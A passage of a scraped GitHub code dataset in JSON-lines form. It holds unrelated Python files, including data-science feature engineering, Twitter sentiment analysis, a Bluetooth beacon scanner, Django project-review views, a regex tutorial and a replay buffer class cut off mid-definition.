Enumerate atom-occupancies adjacent pairs\n pair_list = []\n for i in self.variable_atoms:\n if self.defected_graph.is_node(i):\n vacant_neighbs = []\n for j in self.template_graph.get_neighbors(i):\n if not self.defected_graph.is_node(j):\n pair_list.append([i,j])\n\n if not pair_list == []:\n move_these = random.choice(pair_list)\n\n # Flip these occupancies\n if not move_these is None:\n self.flip_atom(move_these[0])\n self.flip_atom(move_these[1])\n\n return move_these\n","repo_name":"VlachosGroup/ORR-Optimization","sub_path":"orr_optimizer/orr_cat.py","file_name":"orr_cat.py","file_ext":"py","file_size_in_byte":12211,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"19674967015","text":"import pandas as pd\nfrom utils import diff_in_years\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.cluster import KMeans\n\n\ndef create_company_features(company_details: pd.DataFrame):\n \"\"\"\n Computes company specific features like, age of a company,\n group in which the company belongs (based on different groups present in data)\n performance metric of a company, performance in the specific group for that company\n\n :param company_details: Dataframe consisting of columns:\n 'description',\n 'founded_on',\n 'total_funding_usd',\n 'total_funding_rounds_count'\n\n :return: Dataframe consisting the features\n \"\"\"\n\n # This is age in years with min age as 1 years\n company_details['age'] = 2023 - company_details.founded_on.str[:4].astype(int)\n\n # Funding per million per round per year of existence\n company_details['performance'] = (\n company_details.total_funding_usd /\n (company_details.total_funding_rounds_count * company_details.age * 1000000)\n )\n\n # Group Similar Companies\n vectorizer = TfidfVectorizer(stop_words={'english'})\n X = vectorizer.fit_transform(list(company_details.description.values))\n company_details['group'] = KMeans(n_clusters=20, init='k-means++', max_iter=200, n_init=10).fit(X).labels_\n\n # Average performance seen in any group\n avg_perf = company_details.groupby('group').performance.mean().reset_index()\n avg_perf.columns = ['group', 'avg_perf']\n company_details = company_details.merge(avg_perf, on='group', how='left')\n\n # Performance ratio with mean performance in group\n company_details['performance_in_group'] = company_details.performance / company_details.avg_perf\n company_details.drop('avg_perf', axis=1, inplace=True)\n\n return company_details\n\n\ndef create_investment_score(investment_relationship: pd.DataFrame,\n grouped_investments: pd.DataFrame,\n company_details: pd.DataFrame):\n \"\"\"\n\n :param investment_relationship:\n :param grouped_investments:\n :param company_details:\n :return:\n \"\"\"\n\n # Compute rank of each alphabetical series of investment found in data for a company\n grouped_investments['ranks'] = grouped_investments.groupby(['id', 'series']).cumcount() + 1\n\n scores = []\n\n # Let's define score for each investment found in the investment relationship table\n for index, row in investment_relationship.iterrows():\n overall_score_invested_company = (company_details[company_details.id == row.invested_in_company_id]\n ['performance_in_group'].iloc[0])\n subdf = grouped_investments[(grouped_investments.id == row.invested_in_company_id)]\n rank = subdf[subdf.series == row.series].ranks.values()\n if rank + 1 in subdf.ranks:\n # factor by which next investment has grown\n invest_growth_ratio = (subdf[subdf.ranks == rank + 1].money_raised_usd.iloc[0] /\n subdf[subdf.ranks == rank].money_raised_usd.iloc[0])\n\n # years in which next investment is raised\n invest_duration_diff = diff_in_years(subdf[subdf.ranks == rank + 1].announced_on.iloc[0],\n subdf[subdf.ranks == rank].announced_on.iloc[0])\n\n # average of growth of investment ratio, inverse of duration in which it has been raised\n # and overall company performance penalised by the rank of round in which it has been seen\n investment_score = (invest_growth_ratio\n + 1 / invest_duration_diff\n + overall_score_invested_company / rank) / 3\n else:\n investment_score = overall_score_invested_company / rank\n scores.append(investment_score)\n\n investment_relationship['scores'] = scores\n return investment_relationship\n","repo_name":"Crankuphigh/crunchbase_case_study","sub_path":"feature_engineering.py","file_name":"feature_engineering.py","file_ext":"py","file_size_in_byte":3937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"31425201749","text":"import sys\nimport json\n\n\ndef lines(file, scores):\n states = {\n 'AK': 'Alaska',\n 'AL': 'Alabama',\n 'AR': 'Arkansas',\n 'AS': 'American Samoa',\n 'AZ': 'Arizona',\n 'CA': 'California',\n 'CO': 'Colorado',\n 'CT': 'Connecticut',\n 'DC': 'District of Columbia',\n 'DE': 'Delaware',\n 'FL': 'Florida',\n 'GA': 'Georgia',\n 'GU': 'Guam',\n 'HI': 'Hawaii',\n 'IA': 'Iowa',\n 'ID': 'Idaho',\n 'IL': 'Illinois',\n 'IN': 'Indiana',\n 'KS': 'Kansas',\n 'KY': 'Kentucky',\n 'LA': 'Louisiana',\n 'MA': 'Massachusetts',\n 'MD': 'Maryland',\n 'ME': 'Maine',\n 'MI': 'Michigan',\n 'MN': 'Minnesota',\n 'MO': 'Missouri',\n 'MP': 'Northern Mariana Islands',\n 'MS': 'Mississippi',\n 'MT': 'Montana',\n 'NA': 'National',\n 'NC': 'North Carolina',\n 'ND': 'North Dakota',\n 'NE': 'Nebraska',\n 'NH': 'New Hampshire',\n 'NJ': 'New Jersey',\n 'NM': 'New Mexico',\n 'NV': 'Nevada',\n 'NY': 'New York',\n 'OH': 'Ohio',\n 'OK': 'Oklahoma',\n 'OR': 'Oregon',\n 'PA': 'Pennsylvania',\n 'PR': 'Puerto Rico',\n 'RI': 'Rhode Island',\n 'SC': 'South Carolina',\n 'SD': 'South Dakota',\n 'TN': 'Tennessee',\n 'TX': 'Texas',\n 'UT': 'Utah',\n 'VA': 'Virginia',\n 'VI': 'Virgin Islands',\n 'VT': 'Vermont',\n 'WA': 'Washington',\n 'WI': 'Wisconsin',\n 'WV': 'West Virginia',\n 'WY': 'Wyoming'\n }\n state_sentiment = dict()\n state_count = dict()\n for line in file:\n #line = line.encode('utf-8')\n line_dict = json.loads(line)\n if \"text\" not in line_dict.keys():\n pass\n else:\n line_sentiment = 0\n words = line_dict[\"text\"].encode('utf-8').split()\n for word in words:\n if word in scores.keys():\n line_sentiment += scores[word]\n got_state = False\n if \"user\" in line_dict.keys():\n if \"location\" in line_dict['user'].keys():\n for abb in states.keys():\n if abb in line_dict['user']['location'].encode('utf-8') or \\\n states[abb] in line_dict['user']['location'].encode('utf-8'):\n got_state = True\n if abb in state_sentiment.keys():\n state_sentiment[abb] += line_sentiment\n state_count[abb] += 1\n else:\n state_sentiment[abb] = line_sentiment\n state_count[abb] = 1\n break\n if got_state == False:\n if \"place\" in line_dict.keys():\n if type(line_dict['place']) == dict:\n if line_dict['place']['country_code'] == \"US\":\n for abb in states.keys():\n if abb in line_dict['user']['location'].encode('utf-8'):\n got_state = True\n if abb in state_sentiment.keys():\n state_sentiment[abb] += line_sentiment\n state_count[abb] += 1\n else:\n state_sentiment[abb] = line_sentiment\n state_count[abb] = 1\n break\n happiest_state = \"None\"\n happiest_value = -10.\n for state in state_sentiment.keys():\n state_sentiment[state] = float(state_sentiment[state]) / float(state_count[state])\n if state_sentiment[state] > happiest_value:\n happiest_state = state\n happiest_value = state_sentiment[state]\n sys.stdout.write(\"%s\" % happiest_state)\n #debugging / interesting info\n #for state in state_sentiment.keys():\n # sys.stdout.write(\"%s, %.4f, %d\\n\" % (state, state_sentiment[state], state_count[state]))\n #note: can produce US color map of states according to how happy they are\n\n\ndef build_sentiment_dict(file):\n scores = {}\n for line in file:\n term, score = line.split(\"\\t\")\n scores[term] = int(score)\n return scores\n\ndef main():\n sentiment_file = open(sys.argv[1])\n tweet_file = open(sys.argv[2])\n scores = build_sentiment_dict(sentiment_file)\n lines(tweet_file, scores)\n\nif __name__ == '__main__':\n main()","repo_name":"justin-zimmermann/coursera-Data-Manipulation-at-Scale-Systems-and-Algorithms","sub_path":"twitter-sentiment-analysis/happiest_state.py","file_name":"happiest_state.py","file_ext":"py","file_size_in_byte":4664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"74083735722","text":"\"\"\"\n\n Filename: TrolleyBase.py\n Created by: blach (??July14)\n \n\"\"\"\n\nfrom lib.coginvasion.globals import CIGlobals\nfrom direct.directnotify.DirectNotify import DirectNotify\nfrom direct.showbase.DirectObject import DirectObject\nfrom lib.coginvasion.distributed.DistributedTrolley import DistributedTrolley\nfrom panda3d.core import *\nfrom pandac.PandaModules import *\n\nTROLLEY_FULL = 400000\nTROLLEY_OPEN = 410000\n\nnotify = DirectNotify().newCategory(\"TrolleyBase\")\n\nclass TrolleyBase:\n\tdef __init__(self, cr):\n\t\tself.cr = cr\n\t\t\n\t\tself.distTrolley = self.cr.createDistributedObject(className=\"DistributedTrolley\", zoneId=2)\n\t\tself.distTrolley.b_setDestination(\"OUT OF ORDER\")\n\t\t#self.distTrolley.initCollisions()\n\t\t#base.accept(\"trolleySensor-into\", self.handleAvatarEnter)\n\t\t\n\tdef handleAvatarEnter(self, entry):\n\t\tnotify.info(\"Got collision event: %s\" % (entry))\n\t\tintoNP = entry.getIntoNodePath()\n\t\ttoonNP = intoNP.getParent()\n\t\t\n\t\tfor key in self.cr.doId2do.keys():\n\t\t\tval = self.cr.doId2do[key]\n\t\t\t# We'll only allow Toons to ride the trolley.\n\t\t\tif val.__class__.__name__ == \"DistributedToon\":\n\t\t\t\t# We'll only let the Toon come on the trolley\n\t\t\t\t# if all 4 spots are not taken, the trolley is\n\t\t\t\t# not leaving or the trolley is not gone.\n\t\t\t\tif self.distTrolley.getFilledSpots() == 4 or self.distTrolley.isLeaving() or self.distTrolley.isGone():\n\t\t\t\t\t# We need reject the request from the client to join the trolley.\n\t\t\t\t\tpkg = PyDatagram()\n\t\t\t\t\tpkg.addUint16(TROLLEY_FULL)\n\t\t\t\t\tbase.sr.sendDatagram(pkg)\n\t\t\t\t\treturn\n\t\t\t\telse:\n\t\t\t\t\t# We need to accept the request from the client to join the trolley.\n\t\t\t\t\tpkg = PyDatagram()\n\t\t\t\t\tpkg.addUint16(TROLLEY_OPEN)\n\t\t\t\t\tbase.sr.sendDatagram(pkg)\n\t\tself.distTrolley.b_setFilledSpots(self.distTrolley.getFilledSpots() + 1)\n","repo_name":"Cog-Invasion-Online/cio-src","sub_path":"extras/unused/TrolleyBase.py","file_name":"TrolleyBase.py","file_ext":"py","file_size_in_byte":1772,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"19"} +{"seq_id":"32032477244","text":"\"\"\"\nTest of importing a model from PySCes systems biology tool. Requires PySCes to have been installed.\n\nR. Clewley, 2012\n\"\"\"\nfrom PyDSTool import *\nfrom PyDSTool.Toolbox.PySCes_SBML import *\n\nprint(\"Modify the path variable to indicate where your PySCes models are...\")\npath = '/pysces/pscmodels/'\n#fname = 'pysces_test_linear1.psc'\nfname = 'pysces_test_branch1.psc'\n#fname = 'pysces_test_pitcon.psc'\n\ngen = get_pysces_model(path+fname, 'Vode')\ngen.set(tdata=[0,10])\ngen.set(algparams={'init_step': 0.03})\ntraj=gen.compute('test')\npts=traj.sample()\nfor x in pts.coordnames:\n plot(pts['t'],pts[x])\n","repo_name":"robclewley/pydstool","sub_path":"examples/PySCes_import_test.py","file_name":"PySCes_import_test.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","stars":159,"dataset":"github-code","pt":"19"} +{"seq_id":"42135627657","text":"import sys\nimport time\nfrom threading import Thread, Event\n# Logging\nimport logging\n# Create logger\nlogger = logging.getLogger(__name__)\n\nTIMER_READER_MIN_SLEEP = 0.05\n\n\nclass TimerReader:\n\n def __init__(self, callback):\n self._stop_event = Event()\n # Initialize callback\n self._callback = callback\n # Error message from thread\n self._error = None\n # Define Thread\n self._thread = None\n\n def _timer_callback(self, interval, stop_event):\n logger.debug(\"jtop timer start at {interval}s\".format(interval=interval))\n try:\n while stop_event.is_set():\n start = time.time()\n # Callback function\n self._callback()\n # Measure timer_callback sleep time\n delta = time.time() - start\n # Start to sleep\n if interval > delta:\n time.sleep(interval - delta)\n except (KeyboardInterrupt, SystemExit):\n logger.info(\"KeyboardInterrupt or SystemExit, exit timer_reader thread\")\n except Exception as e:\n logger.fatal(\"Exception in 'timer_reader thread': {}\".format(e))\n # Store error message\n self._error = sys.exc_info()\n logger.debug(\"jtop timer stopped\")\n\n def open(self, interval=0.5):\n # Catch exception if exist\n self._error_status()\n # Check if not running\n if self._thread is not None:\n return False\n # Check if thread or process exist\n self._stop_event.set()\n # Start thread Service client\n self._thread = Thread(target=self._timer_callback, args=(interval, self._stop_event, ))\n self._thread.start()\n return True\n\n def close(self, timeout=None):\n # Catch exception if exist\n self._error_status()\n # Check if thread and process are already empty\n self._stop_event.clear()\n if self._thread is not None:\n self._thread.join(timeout)\n self._thread = None\n return True\n\n def _error_status(self):\n # Catch exception if exist\n if not self._error:\n return\n # Extract exception and raise\n ex_type, ex_value, tb_str = self._error\n ex_value.__traceback__ = tb_str\n raise ex_value\n# EOF\n","repo_name":"rbonghi/jetson_stats","sub_path":"jtop/core/timer_reader.py","file_name":"timer_reader.py","file_ext":"py","file_size_in_byte":2338,"program_lang":"python","lang":"en","doc_type":"code","stars":1880,"dataset":"github-code","pt":"19"} +{"seq_id":"38996182540","text":"from matplotlib import pyplot as plt\n#line plot\n\ny=[math.cos((math.pi * x)/500) for x in range(1000)]\nx=[x for x in range(1000)]\nplt.plot(x,y,color='green', marker='o', linestyle='solid')\nplt.title(\"cosine(x)\")\nplt.ylabel(\"y=cos(x)\")\nplt.show()\n\n\n\nvariance = [1, 2, 4, 8, 16, 32, 64, 128, 256] \nbias_squared = [256, 128, 64, 32, 16, 8, 4, 2, 1]\ntotal_error = [x + y for x, y in zip(variance, bias_squared)] \nxs = [i for i, _ in enumerate(variance)]\n\n# we can make multiple calls to plt.plot\n# to show multiple series on the same chart\nplt.plot(xs, variance, 'g-', label='variance') # green solid line \nplt.plot(xs, bias_squared, 'r-.', label='bias^2') # red dot-dashed line \nplt.plot(xs, total_error, 'b:', label='total error') # blue dotted line\n\n\n# because we've assigned labels to each series # we can get a legend for free\n# loc=9 means \"top center\"\nplt.legend(loc=9)\nplt.xlabel(\"model complexity\")\nplt.title(\"The Bias-Variance Tradeoff\")\nplt.show()\n","repo_name":"acandela260/scripts","sub_path":"python/viz_tools/line_plot.py","file_name":"line_plot.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"24476662670","text":"# Bluetooth Scan Libarary\n\nimport asyncio\nimport time\nfrom datetime import datetime\nfrom typing import List, Optional\n\nfrom bleak import BleakScanner\n\n\nclass ScanResultEntry:\n uuid: str\n rssi: float\n\n def __init__(self, uuid: str, rssi: float) -> None:\n self.uuid = uuid\n self.rssi = rssi\n\n def __repr__(self) -> str:\n return f\"ScanResult(uuid={self.uuid}, rssi={self.rssi})\"\n\n\nclass ScanResult:\n t: float\n scan_result_entries: List[ScanResultEntry]\n\n def __init__(\n self, t: float, scan_result_entries: Optional[List[ScanResultEntry]] = None\n ):\n self.t = t\n self.scan_result_entries = scan_result_entries\n\n def add_scan_result_entry(self, scan_result_entry: ScanResultEntry) -> None:\n self.scan_result_entries.append(scan_result_entry)\n\n def __repr__(self) -> str:\n return (\n f\"ScanResult(t: {self.t}, scan_result_entries: {self.scan_result_entries})\"\n )\n\n\nstop_event = asyncio.Event()\nqueue = asyncio.Queue()\n\n\nasync def scan(report_interval, processed_callback, *args, **kwargs):\n async def callback(device, advertisement_data):\n rssi = advertisement_data.rssi\n\n if (\n hasattr(advertisement_data, \"service_data\")\n and advertisement_data.service_data\n ):\n for (\n service_uuid,\n service_payload,\n ) in advertisement_data.service_data.items():\n company_code = service_uuid.split(\"-\")[0][-4:]\n\n # fe9a: ESTIMOTE\n # refer https://btprodspecificationrefs.blob.core.windows.net/assigned-numbers/Assigned%20Number%20Types/Assigned_Numbers.pdf\n if company_code == \"fe9a\":\n estimote_payload = service_payload.hex()\n\n if estimote_payload.startswith(\"00\"):\n estimote_uuid = estimote_payload[2:-6]\n timestamp = time.time()\n\n # For DEBUG\n print(timestamp, estimote_uuid, rssi)\n\n await queue.put((timestamp, estimote_uuid, rssi))\n\n async with BleakScanner(callback) as scanner:\n process_task = asyncio.create_task(\n process(report_interval, processed_callback, *args, **kwargs)\n )\n\n await process_task\n await stop_event.wait()\n\n\nasync def process(report_interval, processed_callback, *args, **kwargs):\n bin_start_time = None\n process_queue = []\n while True:\n data = await queue.get()\n\n if not bin_start_time:\n bin_start_time = data[0]\n\n process_queue.append(data)\n continue\n\n if data[0] - bin_start_time > report_interval:\n # ScanResult 생성\n scan_result_entries = [\n ScanResultEntry(uuid, rssi) for _, uuid, rssi in process_queue\n ]\n scan_result = ScanResult(bin_start_time, scan_result_entries)\n\n await processed_callback(scan_result, *args, **kwargs)\n process_queue.clear()\n process_queue.append(data)\n bin_start_time += report_interval\n else:\n process_queue.append(data)\n\n\nasync def kill(delay):\n await asyncio.sleep(delay)\n stop_event.set()\n\n\nif __name__ == \"__main__\":\n\n async def callback(scan_result: ScanResult):\n print(scan_result)\n\n loop = asyncio.get_event_loop()\n\n loop.run_until_complete(scan(2, callback))\n","repo_name":"dongdokee/LocalizationLab","sub_path":"lib/bt_scan.py","file_name":"bt_scan.py","file_ext":"py","file_size_in_byte":3475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"22957692303","text":"from django.shortcuts import render, redirect\nfrom django.urls import reverse\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view\nfrom .models import *\nfrom .csv_tool import read_data\nfrom .models import *\nfrom utility_engines.timeframe_estimation import suggest_timeframe\nfrom utility_engines.views import update_ends\n\ndef review_project_proposal(request):\n allProposed = Proposed_Project.objects.all()\n revisedProposed = []\n for p in allProposed:\n newP = {\n 'core_id': p.project.id,\n 'name': p.project.name,\n 'location': [l.name for l in p.project.locations.all()],\n 'cost': p.project.expected_cost,\n 'timespan': p.project.timespan,\n 'goal': p.project.goal,\n 'proposed_date': p.proposed_date\n }\n revisedProposed.append(newP)\n return render(request, 'components/review_proposal.html', {\"context\": revisedProposed})\n\n\ndef approve_proposal(request, pk):\n proposed_project = Proposed_Project.objects.get(id=pk)\n estimate_time = suggest_timeframe(proposed_project)\n project = proposed_project.project\n project.is_approved = True\n approveProject = Approved_Project.objects.create(project=project, start_date=estimate_time[0], actual_cost=project.expected_cost, expected_end=estimate_time[1])\n approveProject.save()\n proposed_project.delete()\n return redirect(reverse('observer:review-project-proposal'))\n\ndef reject_proposal(request, pk):\n proposed_project = Proposed_Project.objects.get(id=pk)\n proposed_project.delete()\n return redirect(reverse('observer:review-project-proposal'))\ndef detail_project_proposal(request, pk):\n proposed_project = Proposed_Project.objects.get(project__id=pk)\n estimate_time = suggest_timeframe(proposed_project)\n print(estimate_time)\n start, end = -1, -1\n if estimate_time:\n start = estimate_time[0]\n end = estimate_time[1]\n proposed_project = {\n 'id':proposed_project.id,\n 'name': proposed_project.project.name,\n 'area': proposed_project.project.locations.all()[0].name,\n 'lat': proposed_project.project.latitude,\n 'long': proposed_project.project.longitude,\n 'cost': proposed_project.project.expected_cost,\n 'goal': proposed_project.project.goal,\n 'timespan': proposed_project.project.timespan,\n 'proposed_date': proposed_project.proposed_date,\n 'estimate_start': start,\n 'estimated_end': end\n\n }\n return render(request, 'components/single_proposal.html', {\"data\": proposed_project})\n\ndef detail_running_project(request, pk):\n proposed_project = Approved_Project.objects.get(id=pk)\n estimate_time = suggest_timeframe(proposed_project)\n print(estimate_time)\n start, end = -1, -1\n if estimate_time:\n start = estimate_time[0]\n end = estimate_time[1]\n proposed_project = {\n 'id':proposed_project.id,\n 'name': proposed_project.project.name,\n 'area': proposed_project.project.locations.all()[0].name,\n 'lat': proposed_project.project.latitude,\n 'long': proposed_project.project.longitude,\n 'cost': proposed_project.project.expected_cost,\n 'goal': proposed_project.project.goal,\n 'timespan': proposed_project.project.timespan,\n 'proposed_date': proposed_project.proposed_date,\n 'estimate_start': start,\n 'estimated_end': end\n\n }\n return render(request, 'components/single_proposal.html', {\"data\": proposed_project})\n\ndef running_project(request):\n update_ends()\n allApproved = Approved_Project.objects.all()\n revisedApproved = []\n for p in allApproved:\n newP = {\n 'id': p.id,\n 'core_id': p.project.id,\n 'name': p.project.name,\n 'location': [l.name for l in p.project.locations.all()],\n 'cost': p.project.expected_cost,\n 'timespan': p.project.timespan,\n 'goal': p.project.goal,\n 'start_date': p.start_date,\n 'actual_cost': p.actual_cost,\n 'expected_end': p.expected_end\n }\n revisedApproved.append(newP)\n return render(request, 'components/running_project.html', {\"context\": revisedApproved})\n","repo_name":"muhammadnasif/Codesamurai_BuetNoobs_Onsite","sub_path":"observer/review_proposal.py","file_name":"review_proposal.py","file_ext":"py","file_size_in_byte":4365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"8827937444","text":"import logging\nimport time\n\nimport requests\n\nfrom conf import settings\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef qb_connect_failed_wait(func):\n def wrapper(*args, **kwargs):\n times = 0\n while times < 5:\n try:\n return func(*args, **kwargs)\n except Exception as e:\n logger.debug(f\"URL: {args[0]}\")\n logger.warning(\"Cannot connect to qBittorrent. Wait 5 min and retry...\")\n time.sleep(300)\n times += 1\n return wrapper\n\n\ndef api_failed(func):\n def wrapper(*args, **kwargs):\n try:\n return func(*args, **kwargs)\n except Exception as e:\n logger.debug(f\"URL: {args[0]}\")\n logger.warning(\"Wrong API response.\")\n logger.debug(e)\n return wrapper\n","repo_name":"orgTestCodacy11KRepos110MB/repo-2747-Auto_Bangumi","sub_path":"src/ab_decorator/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"42479775498","text":"import logging.config\nimport os\nimport sys\n\n__all__ = ['log']\n\nentrypoint_path = os.path.dirname(sys.argv[0])\nlog_path = os.path.join(entrypoint_path, 'logs')\nif not os.path.exists(log_path):\n os.mkdir(log_path)\n\nconf_path = os.path.join(entrypoint_path, 'conf', 'logging.conf')\nif os.path.exists(conf_path):\n logging.config.fileConfig(conf_path)\n log = logging.getLogger('root')\nelse:\n logging.basicConfig(level=logging.INFO)\n log = logging.root","repo_name":"decemcat/proxies-explorer","sub_path":"proxies/logging/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"9614106089","text":"import re\n\n# the following are the regular expressions patterns\n# . - Any Character Except New Line\n# \\d - Digit (0-9)\n# \\D - Not a Digit (0-9)\n# \\w - Word Character (a-z, A-Z, 0-9, _)\n# \\W - Not a Word Character\n# \\s - Whitespace (space, tab, newline)\n# \\S - Not Whitespace (space, tab, newline)\n\n# the following are anchors for patterns\n# \\b - Word Boundary (Whitespace (space, tab, newline) before the pattern)\n# \\B - Not a Word Boundary (NO Whitespace (space, tab, newline) before the pattern)\n# ^ - Beginning of a String (only recognizes matches the are at the very beginning of the string)\n# $ - End of a String (only recognizes matches the are at the very end of the string)\n\n# [] - Matches Characters in brackets\n# [^ ] - Matches Characters NOT in brackets\n# | - Either Or\n# ( ) - Group\n\n# Quantifiers:\n# * - 0 or More\n# + - 1 or More\n# ? - 0 or One\n# {3} - Exact Number\n# {3,4} - Range of Numbers (Minimum, Maximum)\n\n\n# #### Sample Regexs ####\n\n# [a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\\.[a-zA-Z0-9-.]+\n\n\ntext_to_search = \"\"\"\nabcdefghijklmnopqurtuvwxyz\nABCDEFGHIJKLMNOPQRSTUVWXYZ\n1234567890\n\nHa HaHa\n\nMetaCharacters (Need to be escaped):\n. ^ $ * + ? { } [ ] \\ | ( )\n\ncoreyms.com\n\n321-555-4321\n123.555.1234\n123*555*1234\n800-555-1234\n900-555-1234\n\nMr. Schafer\nMr Smith\nMs Davis\nMrs. Robinson\nMr. T\n\"\"\"\nsentence = \"Start a sentence and then bring it to an end\"\n\n\npattern = re.compile(r\"\\d\\d\\d.\\d\\d\\d.\\d\\d\\d\\d\")\n\nmatches = pattern.finditer(text_to_search)\n\n# for match in matches:\n# print(match)\n\nwith open(r\"./random_data.txt\", \"r\") as f:\n content = f.read()\n\n matches = pattern.finditer(content)\n\n for match in matches:\n print(match)\n","repo_name":"OmidReisi/Python_Tutorials","sub_path":"Advanced/RegEx/regex_3.py","file_name":"regex_3.py","file_ext":"py","file_size_in_byte":1752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"71529032043","text":"from tests.builders import a, an\nfrom tests.builders.thing_builder import ThingBuilder\n\n\nclass ThingTests:\n\n thing: ThingBuilder\n\n def test_reveal_items(self):\n item1 = an.item.with_name(\"item1\").build()\n item2 = an.item.with_name(\"item2\").build()\n item3 = an.item.with_name(\"item3\").build()\n thing = self.thing.with_items(item1, item2, item3).build()\n\n items = thing.reveal_items()\n self.assertListEqual([item1, item2, item3], items)\n\n def test_thing_name(self):\n thing = self.thing.with_name(\"thing\").build()\n self.assertEquals(thing.get_name(), \"thing\")\n\n def test_thing_description(self):\n thing = self.thing.with_desc(\"ain't no thang.\").build()\n self.assertEquals(thing.get_description(), \"ain't no thang.\")\n\n","repo_name":"en0/SecretRoomTextAdventure","sub_path":"tests/core/domain/things/test_thing.py","file_name":"test_thing.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"250068139","text":"import pyexcel\nfrom collections import OrderedDict\n# 1. Prepare data\n\ndata = [\n {\n \"name\": \"Huy\",\n \"city\": \"Hanoi\",\n \"age\": 29,\n },\n {\n \"name\": \"Quan\",\n \"city\": \"Hanoi\",\n \"age\": 19,\n },\n {\n \"name\": \"Duc\",\n \"city\": \"Hanoi\",\n \"age\": 18,\n },\n]\n\n# 2. Save\ndata = [OrderedDict(item) for item in data]\npyexcel.save_as(records=data, dest_file_name=\"sample.xlsx\")","repo_name":"qhuydtvt/c4e21","sub_path":"session4/pyexcel_intro.py","file_name":"pyexcel_intro.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"17919820026","text":"values=[]\r\nans=[]\r\nnumTests = int(input())\r\n\r\nfor j in range (0,numTests):\r\n N = int(input())\r\n\r\n\r\n values = ( input().split(' ') )\r\n values = list(map(int,values))\r\n mean=sum(values)/len(values)\r\n x=0;\r\n for value in values:\r\n if int(value)==mean:\r\n ans.append(values.index(value)+1)\r\n x=1\r\n break;\r\n \r\n if x==0:\r\n ans.append('Impossible')\r\n \r\nfor an in ans: \r\n print(an)","repo_name":"Cosine1509/Codechef_Solutions","sub_path":"Files/25859100.py","file_name":"25859100.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"23523509756","text":"import collections\nimport datetime\nimport io\nimport pathlib\nimport uuid\nimport os\nimport sys\nimport heapq\nimport random\nimport pickle\n\nimport numpy as np\nimport tensorflow as tf\nimport wandb\n\nimport time\n\ndef coverage_maximization_distance(tensor1: np.ndarray, tensor2: np.ndarray, distance_type: str):\n if distance_type == \"euclid\":\n return np.linalg.norm(tensor1 - tensor2)\n elif distance_type == \"cosine\":\n assert tensor1.ndim == 1 and tensor2.ndim == 1, \"wrong shape in Coverage Maximization distance\"\n return (tensor1 @ tensor2.T)/(np.linalg.norm(tensor1)*np.linalg.norm(tensor2))\n else:\n print(\"Wrong distance type\")\n\nclass Replay:\n def __init__(\n self,\n directory,\n capacity=0,\n ongoing=False,\n minlen=1,\n maxlen=0,\n prioritize_ends=False,\n reservoir_sampling=False,\n reward_sampling=False,\n num_tasks=1,\n recent_past_sampl_thres=0,\n uncertainty_sampling=False,\n uncertainty_recalculation:int=5000,\n coverage_sampling=False,\n coverage_sampling_args=None\n ):\n self._directory = pathlib.Path(directory).expanduser()\n self._directory.mkdir(parents=True, exist_ok=True)\n self._capacity = capacity # replay buffer size\n self._ongoing = ongoing\n self._minlen = minlen # this is used as a cutoff before storing in the replay buffer\n self._maxlen = maxlen # only used to sample seq_lens\n self._prioritize_ends = prioritize_ends # prioritizes the end of an epsiode which is loaded\n self._reservoir_sampling = reservoir_sampling # whether to use reservoir sampling or not\n self.recent_past_sampl_thres = recent_past_sampl_thres # probability above this threshold trigger uniform episode. Below trigger triangle distribution\n self._reward_sampling = reward_sampling # whether to use rewrad sampling or not\n self._coverage_sampling = coverage_sampling # whether to use coverage maximization\n self._coverage_sampling_args = coverage_sampling_args # coverage maximization args\n self._num_tasks = num_tasks # the number of tasks in the cl loop\n self._random = np.random.RandomState()\n # total_steps / eps is the total number of steps / eps seen over the course of training\n # loaded_steps / eps is the total number of steps / eps in the replay buffer\n # filename -> key -> value_sequence\n self._complete_eps, self._tasks, self._reward_eps = load_episodes(\n directory=self._directory,\n capacity=capacity,\n minlen=minlen,\n coverage_sampling=self._coverage_sampling,\n coverage_sampling_args=self._coverage_sampling_args,\n check=False)\n # worker -> key -> value_sequence\n self._ongoing_eps = collections.defaultdict(lambda: collections.defaultdict(list))\n self._total_episodes, self._total_steps = count_episodes(directory)\n self._loaded_episodes = len(self._complete_eps)\n self._loaded_steps = sum(eplen(x) for x in self._complete_eps.values())\n\n self._plan2explore = None\n self._uncertainty_sampling = uncertainty_sampling\n self._uncertainty_recalculation = uncertainty_recalculation\n self._episodes_uncertainties = collections.defaultdict()\n \n self.set_task()\n if self._coverage_sampling:\n self.coverage_maximization_initialization(directory)\n \n def set_task(self, task_idx=0):\n self.task_idx = task_idx\n\n def get_task(self):\n return self.task_idx\n \n def get_max_task(self):\n if len(self._tasks) > 0:\n return np.max([v for k, v in self._tasks.items()])\n else:\n return 0\n \n def coverage_maximization_initialization(self, directory):\n self._replay_cell = 